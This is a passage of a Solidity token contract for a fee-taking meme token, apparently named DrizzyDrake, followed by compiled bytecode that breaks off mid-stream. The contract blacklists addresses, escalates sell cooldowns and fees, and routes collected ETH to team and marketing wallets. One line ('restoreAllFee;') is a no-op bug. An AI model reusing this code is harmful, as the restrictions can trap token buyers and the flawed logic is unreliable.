require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled) {
require(tradingOpen);
require(amount <= _maxTxAmount);
require(buycooldown[to] < block.timestamp);
buycooldown[to] = block.timestamp + (30 seconds);
_teamFee = 6;
_taxFee = 2;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
require(amount <= balanceOf(uniswapV2Pair).mul(3).div(100) && amount <= _maxTxAmount);
require(sellcooldown[from] < block.timestamp);
if(firstsell[from] + (1 days) < block.timestamp){
sellnumber[from] = 0;
}
if (sellnumber[from] == 0) {
sellnumber[from]++;
firstsell[from] = block.timestamp;
sellcooldown[from] = block.timestamp + (1 hours);
}
else if (sellnumber[from] == 1) {
sellnumber[from]++;
sellcooldown[from] = block.timestamp + (2 hours);
}
else if (sellnumber[from] == 2) {
sellnumber[from]++;
sellcooldown[from] = block.timestamp + (6 hours);
}
else if (sellnumber[from] == 3) {
sellnumber[from]++;
sellcooldown[from] = firstsell[from] + (1 days);
}
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
setFee(sellnumber[from]);
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
restoreAllFee;
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function openTrading() public onlyOwner {
require(liquidityAdded);
tradingOpen = true;
}
function addLiquidity() external onlyOwner() {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
liquidityAdded = true;
_maxTxAmount = 3000000000 * 10**9;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type(uint256).max);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 teamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(teamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
} | 0x6080604052600436106101025760003560e01c8063715018a611610095578063c3c8cd8011610064578063c3c8cd8014610330578063c9567bf914610347578063d543dbeb1461035e578063dd62ed3e14610387578063e8078d94146103c457610109565b8063715018a6146102865780638da5cb5b1461029d57806395d89b41146102c8578063a9059cbb146102f357610109565b8063313ce567116100d1578063313ce567146101de5780635932ead1146102095780636fc3eaec1461023257806370a082311461024957610109565b806306fdde031461010e578063095ea7b31461013957806318160ddd1461017657806323b872dd146101a157610109565b3661010957005b600080fd5b34801561011a57600080fd5b506101236103db565b6040516101309190613213565b60405180910390f35b34801561014557600080fd5b50610160600480360381019061015b9190612d9a565b610418565b60405161016d91906131f8565b60405180910390f35b34801561018257600080fd5b5061018b610436565b6040516101989190613395565b60405180910390f35b3480156101ad57600080fd5b506101c860048036038101906101c39190612d4b565b610447565b6040516101d591906131f8565b60405180910390f35b3480156101ea57600080fd5b506101f3610520565b604051610200919061340a565b60405180910390f35b34801561021557600080fd5b50610230600480360381019061022b9190612dd6565b610529565b005b34801561023e57600080fd5b506102476105db565b005b34801561025557600080fd5b50610270600480360381019061026b9190612cbd565b61064d565b60405161027d9190613395565b60405180910390f35b34801561029257600080fd5b5061029b61069e565b005b3480156102a957600080fd5b506102b26107f1565b6040516102bf919061312a565b60405180910390f35b3480156102d457600080fd5b506102dd61081a565b6040516102ea9190613213565b60405180910390f35b3480156102ff57600080fd5b5061031a60048036038101906103159190612d9a565b610857565b60405161032791906131f8565b60405180910390f35b34801561033c57600080fd5b50610345610875565b005b34801561035357600080fd5b5061035c6108ef565b005b34801561036a57600080fd5b5061038560048036038101906103809190612e28565b6109ba565b005b34801561039357600080fd5b506103ae60048036038101906103a99190612d0f565b610b03565b6040516103bb9190613395565b60405180910390f35b3480156103d057600080fd5b506103d9610b8a565b005b60606040518060400160405280600b81526020017f4472697a7a794472616b65000000000000000000000000000000000000000000815250905090565b600061042c610425611096565b848461109e565b6001905092915050565b6000683635c9adc5dea00000905090565b6000610454848484611269565b61051584610460611096565b610510856040518060600160405280602881526020016139f460289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104c6611096565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120399092919063ffffffff16565b61109e565b600190509392505050565b60006009905090565b610531611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105b5906132f5565b60405180910390fd5b80601260186101000a81548160ff02191690831515021790555050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661061c611096565b73ffffffffffffffffffffffffffffffffffffffff161461063c57600080fd5b600047905061064a8161209d565b50565b6000610697600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612198565b9050919050565b6106a6611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610733576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072a906132f5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f4452495a5a590000000000000000000000000000000000000000000000000000815250905090565b600061086b610864611096565b8484611269565b6001905092915050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108b6611096565b73ffffffffffffffffffffffffffffffffffffffff16146108d657600080fd5b60006108e13061064d565b90506108ec81612206565b50565b6108f7611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610984576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161097b906132f5565b60405180910390fd5b601260159054906101000a900460ff1661099d57600080fd5b6001601260146101000a81548160ff021916908315150217905550565b6109c2611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a4f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a46906132f5565b60405180910390fd5b60008111610a92576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a89906132b5565b60405180910390fd5b610ac16064610ab383683635c9adc5dea0000061250090919063ffffffff16565b61257b90919063ffffffff16565b6013819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf601354604051610af89190613395565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610b92611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c16906132f5565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610caf30601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061109e565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610cf557600080fd5b505afa158015610d09573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d2d9190612ce6565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610d8f57600080fd5b505afa158015610da3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dc79190612ce6565b6040518363ffffffff1660e01b8152600401610de4929190613145565b602060405180830381600087803b158015610dfe57600080fd5b505af1158015610e12573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e369190612ce6565b601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ebf3061064d565b600080610eca6107f1565b426040518863ffffffff1660e01b8152600401610eec96959493929190613197565b6060604051808303818588803b158015610f0557600080fd5b505af1158015610f19573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f3e9190612e51565b5050506001601260176101000a81548160ff0219169083151502179055506001601260186101000a81548160ff0219169083151502179055506001601260156101000a81548160ff0219169083151502179055506729a2241af62c0000601381905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161104092919061316e565b602060405180830381600087803b15801561105a57600080fd5b505af115801561106e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110929190612dff565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561110e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161110590613355565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561117e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117590613275565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161125c9190613395565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112d090613335565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611349576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134090613235565b60405180910390fd5b6000811161138c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138390613315565b60405180910390fd5b6113946107f1565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561140257506113d26107f1565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611f7657601260189054906101000a900460ff1615611635573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561148457503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156114de5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156115385750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561163457601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661157e611096565b73ffffffffffffffffffffffffffffffffffffffff1614806115f45750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166115dc611096565b73ffffffffffffffffffffffffffffffffffffffff16145b611633576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161162a90613375565b60405180910390fd5b5b5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116d95750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116e257600080fd5b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561178d5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117e35750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117fb5750601260189054906101000a900460ff165b156118d457601260149054906101000a900460ff1661181957600080fd5b60135481111561182857600080fd5b42600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061187357600080fd5b601e42611880919061347a565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660098190555060026008819055505b60006118df3061064d565b9050601260169054906101000a900460ff1615801561194c5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156119645750601260179054906101000a900460ff165b15611f74576119ba60646119ac600361199e601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661064d565b61250090919063ffffffff16565b61257b90919063ffffffff16565b82111580156119cb57506013548211155b6119d457600080fd5b42600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a1f57600080fd5b4262015180600d60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a6e919061347a565b1015611aba576000600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611bf157600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611b5290613629565b919050555042600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e1042611ba9919061347a565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f09565b6001600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611ce457600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611c8990613629565b9190505550611c2042611c9c919061347a565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f08565b6002600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611dd757600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611d7c90613629565b919050555061546042611d8f919061347a565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f07565b6003600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611f0657600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611e6f90613629565b919050555062015180600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ec2919061347a565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b5b5b611f1281612206565b60004790506000811115611f2a57611f294761209d565b5b611f72600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125c5565b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061201d5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561202757600090505b612033848484846125ee565b50505050565b6000838311158290612081576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120789190613213565b60405180910390fd5b5060008385612090919061355b565b9050809150509392505050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6120ed60028461257b90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612118573d6000803e3d6000fd5b50601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61216960028461257b90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612194573d6000803e3d6000fd5b5050565b60006006548211156121df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121d690613255565b60405180910390fd5b60006121e961262d565b90506121fe818461257b90919063ffffffff16565b915050919050565b6001601260166101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115612264577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156122925781602001602082028036833780820191505090505b50905030816000815181106122d0577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561237257600080fd5b505afa158015612386573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906123aa9190612ce6565b816001815181106123e4577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061244b30601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461109e565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016124af9594939291906133b0565b600060405180830381600087803b1580156124c957600080fd5b505af11580156124dd573d6000803e3d6000fd5b50505050506000601260166101000a81548160ff02191690831515021790555050565b6000808314156125135760009050612575565b600082846125219190613501565b905082848261253091906134d0565b14612570576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612567906132d5565b60405180910390fd5b809150505b92915050565b60006125bd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612658565b905092915050565b806008546125d39190613501565b60088190555060018111156125eb57600a6009819055505b50565b806125fc576125fb6126bb565b5b6126078484846126ec565b806126155761261461261b565b5b50505050565b60076008819055506005600981905550565b600080600061263a6128b7565b91509150612651818361257b90919063ffffffff16565b9250505090565b6000808311829061269f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126969190613213565b60405180910390fd5b50600083856126ae91906134d0565b9050809150509392505050565b60006008541480156126cf57506000600954145b156126d9576126ea565b600060088190555060006009819055505b565b6000806000806000806126fe87612919565b95509550955095509550955061275c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461298190919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506127f185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129cb90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061283d81612a29565b6128478483612ae6565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516128a49190613395565b60405180910390a3505050505050505050565b600080600060065490506000683635c9adc5dea0000090506128ed683635c9adc5dea0000060065461257b90919063ffffffff16565b82101561290c57600654683635c9adc5dea00000935093505050612915565b81819350935050505b9091565b60008060008060008060008060006129368a600854600954612b20565b925092509250600061294661262d565b905060008060006129598e878787612bb6565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006129c383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612039565b905092915050565b60008082846129da919061347a565b905083811015612a1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a1690613295565b60405180910390fd5b8091505092915050565b6000612a3361262d565b90506000612a4a828461250090919063ffffffff16565b9050612a9e81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129cb90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612afb8260065461298190919063ffffffff16565b600681905550612b16816007546129cb90919063ffffffff16565b6007819055505050565b600080600080612b4c6064612b3e888a61250090919063ffffffff16565b61257b90919063ffffffff16565b90506000612b766064612b68888b61250090919063ffffffff16565b61257b90919063ffffffff16565b90506000612b9f82612b91858c61298190919063ffffffff16565b61298190919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612bcf858961250090919063ffffffff16565b90506000612be6868961250090919063ffffffff16565b90506000612bfd878961250090919063ffffffff16565b90506000612c2682612c18858761298190919063ffffffff16565b61298190919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081359050612c4e816139ae565b92915050565b600081519050612c63816139ae565b92915050565b600081359050612c78816139c5565b92915050565b600081519050612c8d816139c5565b92915050565b600081359050612ca2816139dc565b92915050565b600081519050612cb7816139dc565b92915050565b600060208284031215612ccf57600080fd5b6000612cdd84828501612c3f565b91505092915050565b600060208284031215612cf857600080fd5b6000612d0684828501612c54565b91505092915050565b60008060408385031215612d2257600080fd5b6000612d3085828601612c3f565b9250506020612d4185828601612c3f565b9150509250929050565b600080600060608486031215612d6057600080fd5b6000612d6e86828701612c3f565b9350506020612d7f86828701612c3f565b9250506040612d9086828701612c93565b9150509250925092565b60008060408385031215612dad57600080fd5b6000612dbb85828601612c3f565b9250506020612dcc85828601612c93565b9150509250929050565b600060208284031215612de857600080fd5b6000612df684828501612c69565b91505092915050565b600060208284031215612e1157600080fd5b6000612e1f84828501612c7e565b91505092915050565b600060208284031215612e3a57600080fd5b6000612e4884828501612c93565b91505092915050565b600080600060608486031215612e6657600080fd5b6000612e7486828701612ca8565b9350506020612e8586828701612ca8565b9250506040612e9686828701612ca8565b9150509250925092565b6000612eac8383612eb8565b60208301905092915050565b612ec18161358f565b82525050565b612ed08161358f565b82525050565b6000612ee182613435565b612eeb8185613458565b9350612ef683613425565b8060005b83811015612f27578151612f0e8882612ea0565b9750612f198361344b565b925050600181019050612efa565b5085935050505092915050565b612f3d816135a1565b82525050565b612f4c816135e4565b82525050565b6000612f5d82613440565b612f678185613469565b9350612f778185602086016135f6565b612f80816136d0565b840191505092915050565b6000612f98602383613469565b9150612fa3826136e1565b604082019050919050565b6000612fbb602a83613469565b9150612fc682613730565b604082019050919050565b6000612fde602283613469565b9150612fe98261377f565b604082019050919050565b6000613001601b83613469565b915061300c826137ce565b602082019050919050565b6000613024601d83613469565b915061302f826137f7565b602082019050919050565b6000613047602183613469565b915061305282613820565b604082019050919050565b600061306a602083613469565b91506130758261386f565b602082019050919050565b600061308d602983613469565b915061309882613898565b604082019050919050565b60006130b0602583613469565b91506130bb826138e7565b604082019050919050565b60006130d3602483613469565b91506130de82613936565b604082019050919050565b60006130f6601183613469565b915061310182613985565b602082019050919050565b613115816135cd565b82525050565b613124816135d7565b82525050565b600060208201905061313f6000830184612ec7565b92915050565b600060408201905061315a6000830185612ec7565b6131676020830184612ec7565b9392505050565b60006040820190506131836000830185612ec7565b613190602083018461310c565b9392505050565b600060c0820190506131ac6000830189612ec7565b6131b9602083018861310c565b6131c66040830187612f43565b6131d36060830186612f43565b6131e06080830185612ec7565b6131ed60a083018461310c565b979650505050505050565b600060208201905061320d6000830184612f34565b92915050565b6000602082019050818103600083015261322d8184612f52565b905092915050565b6000602082019050818103600083015261324e81612f8b565b9050919050565b6000602082019050818103600083015261326e81612fae565b9050919050565b6000602082019050818103600083015261328e81612fd1565b9050919050565b600060208201905081810360008301526132ae81612ff4565b9050919050565b600060208201905081810360008301526132ce81613017565b9050919050565b600060208201905081810360008301526132ee8161303a565b9050919050565b6000602082019050818103600083015261330e8161305d565b9050919050565b6000602082019050818103600083015261332e81613080565b9050919050565b6000602082019050818103600083015261334e816130a3565b9050919050565b6000602082019050818103600083015261336e816130c6565b9050919050565b6000602082019050818103600083015261338e816130e9565b9050919050565b60006020820190506133aa600083018461310c565b92915050565b600060a0820190506133c5600083018861310c565b6133d26020830187612f43565b81810360408301526133e48186612ed6565b90506133f36060830185612ec7565b613400608083018461310c565b9695505050505050565b600060208201905061341f600083018461311b565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000613485826135cd565b9150613490836135cd565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156134c5576134c4613672565b5b828201905092915050565b60006134db826135cd565b91506134e6